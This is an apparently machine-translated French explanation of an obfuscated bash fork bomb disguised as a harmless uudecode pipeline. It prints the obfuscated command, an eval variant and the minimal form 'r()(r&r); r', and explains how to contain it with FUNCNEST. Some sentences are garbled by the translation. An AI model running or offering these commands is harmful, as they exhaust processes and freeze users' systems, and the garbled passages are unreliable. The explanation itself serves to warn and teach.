Tout d'abord, examinons l'ensemble de la commande :
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Il contient une chaîne de caractères entre guillemets qui est renvoyée à uudecode . Mais notez qu'à l'intérieur de la chaîne de caractères entre guillemets, il y a un citée à l'envers ficelle. Cette chaîne est exécuté . La chaîne de caractères est la suivante :
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Si nous regardons ce qu'il contient, nous voyons trois commandements :
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Exécution expansion de l'orthèse sur le commandement du milieu, nous avons :
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
La première ligne tente d'exécuter une commande absurde en arrière-plan. Ce n'est pas important.
La deuxième ligne est importante : elle définit une fonction r qui, lorsqu'il est exécuté, lance deux copies de lui-même. Chacune de ces copies lancera, bien entendu, deux autres copies. Et ainsi de suite.
La troisième ligne est la suivante r , en commençant la bombe à fourche.
Le reste du code, en dehors de la chaîne entre guillemets, n'est qu'un non-sens destiné à brouiller les pistes.
Comment exécuter la commande en toute sécurité
Ce code peut être exécuté en toute sécurité si nous fixons une limite au niveau d'imbrication des fonctions. Cela peut être fait avec la fonction FUNCNEST variable. Ici, nous la fixons à 2 ce qui met fin à la récursivité :
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Les messages d'erreur ci-dessus montrent que (a) les commandes absurdes rYWdl y Y29j ne sont pas trouvées, (b) la bombe à fourche est arrêtée à plusieurs reprises par FUNCNEST, et (c) la sortie de echo ne commence pas par begin et, par conséquent, n'est pas une entrée valide pour uudecode .
La bombe à fourche dans sa forme la plus simple
À quoi ressemblerait la bombe à fourche si l'on supprimait l'obscurcissement ? Comme le suggèrent njzk2 et gerrit, elle ressemblerait à ce qui suit :
echo "`r()(r&r);r`"
Nous pouvons simplifier encore davantage :
r()(r&r); r
Il s'agit de deux déclarations : l'une définit la fonction "fork-bomb" (bombe à fourche), l'autre définit la fonction "fork-bomb". r et le second court r .
Tout le reste du code, y compris le tuyau vers uudecode La Commission européenne a décidé d'utiliser le "système d'information", qui n'était là que pour obscurcir et détourner l'attention des gens.
Le formulaire original comportait encore une autre couche de tromperie
Le PO a fourni un lien à la discussion du conseil d'administration du canal sur lequel ce code est apparu. Tel qu'il y était présenté, le code se présentait comme suit :
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Remarquez l'un des premiers commentaires sur ce code :
Je suis tombé dans le panneau. Je n'ai copié que la partie qui fait écho et qui décode, mais j'ai quand même s'est fait forkbombé
Dans le formulaire du tableau de bord, on pourrait naïvement penser que le problème est le suivant eval opérant sur la sortie de uudecode . On pourrait donc penser que l'enlèvement eval résoudrait le problème. Comme nous l'avons vu plus haut, c'est faux et dangereusement faux.
